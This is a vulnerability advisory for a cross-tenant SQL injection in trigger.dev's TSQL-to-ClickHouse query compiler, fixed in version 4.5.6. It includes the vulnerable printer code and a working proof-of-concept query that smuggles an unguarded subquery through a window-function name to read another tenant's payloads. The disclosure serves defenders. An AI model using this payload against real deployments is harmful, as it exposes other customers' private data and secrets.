GHSA-9q4r-4842-93vw: SQL Injection

Published Oct 2, 2026
·
Updated

Summary

A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM taskrunsv2 WHERE organizationid = 'orgVICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.

Details

Vulnerable sink — internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:

ts private visitWindowFunction(node: WindowFunction): string { const args = node.args ? node.args.map((a) => this.visit(a)) : []; const funcCall = ${node.name}(${args.join(", ")}); // <-- node.name concatenated RAW ... }

node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:

- The normal function-call path visitCall (printer.ts:2951) throws Unknown function for any name outside the hardcoded TSQLCLICKHOUSEFUNCTIONS / TSQLAGGREGATIONS allowlists — this gate is absent on the window-function path. - String constants are bound as ClickHouse queryparams (parameterized). - Other identifiers go through escapeClickHouseIdentifier. - Table functions (url()/file()/remote()/s3()) are rejected.

A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, (, ), ,, ', a full subquery — become the "function name" and are printed verbatim.

How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organizationid/projectid/environmentid taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.

Reachability — apps/webapp/app/routes/api.v1.query.ts: - body.query is a raw z.string(). - Auth is any environment-scoped credential — a private API key or a public JWT — i.e. any signed-up customer. - The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check. - executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.

PoC

Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.

1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):

sql SELECT count() OVER (), (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, dummy(() OVER () AS x FROM taskruns

2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):

sql SELECT count() OVER (), (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, -- INJECTED, RAW, UNGUARDED dummy(() OVER () AS x FROM triggerdev.taskrunsv2 AS taskruns WHERE and(equals(taskruns.organizationid, {tsqlval0: String}), equals(taskruns.projectid, {tsqlval1: String}), equals(taskruns.environmentid, {tsqlval2: String})) -- guard ONLY on outer table LIMIT 10000

The injected subquery against orgOTHERTENANT is emitted raw (its org id is a literal, not a bound {tsqlval} param) and sits outside the tenant guard.

3. Live ClickHouse execution. A triggerdev.taskrunsv2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to orgtenant1:

Seed: orgtenant1 -> payload 'tenant1-public-data' (attacker's own org) orgOTHERTENANT -> 'VICTIM-SECRET-stripeskliveDEADBEEF', 'VICTIM-SECRET-dbpasswordhunter2' (victim)

Baseline (legitimate tenant1 query, guard = orgtenant1): -> 'tenant1-public-data' (only own data)

Exploit (injected subquery, guard STILL orgtenant1): SELECT 1 AS keep, (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, count() OVER () AS w FROM triggerdev.taskrunsv2 AS taskruns WHERE and(equals(taskruns.organizationid, 'orgtenant1'), ...) -> stolen = ['VICTIM-SECRET-stripeskliveDEADBEEF','VICTIM-SECRET-dbpasswordhunter2']

A caller scoped to orgtenant1 exfiltrated orgOTHERTENANT's secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.

Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to orgtenant1 and assert the output contains (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT'). Then run that SQL against a ClickHouse seeded as above.

Affected Software

1 affected componentFixes available
npm/trigger.dev<=4.5.5
4.5.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/trigger.dev to a version that resolves this vulnerability.

    Fixed in 4.5.6

Event History

Oct 2, 2026
Advisory Published
via GitHub·10:42 PM
Data Sourced
via GitHub·10:42 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any authenticated trigger.dev customer able to submit queries to the customer-facing POST /api/v1/query endpoint can exploit it. The issue can expose analytics data belonging to other tenants.

2

What does an attacker need to include in a malicious query?

The attacker needs to supply a TSQL/TRQL query using a window-function name containing a backtick-quoted identifier. That value is concatenated into ClickHouse SQL without allowlisting or escaping, allowing a subquery outside the per-tenant WHERE guard.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203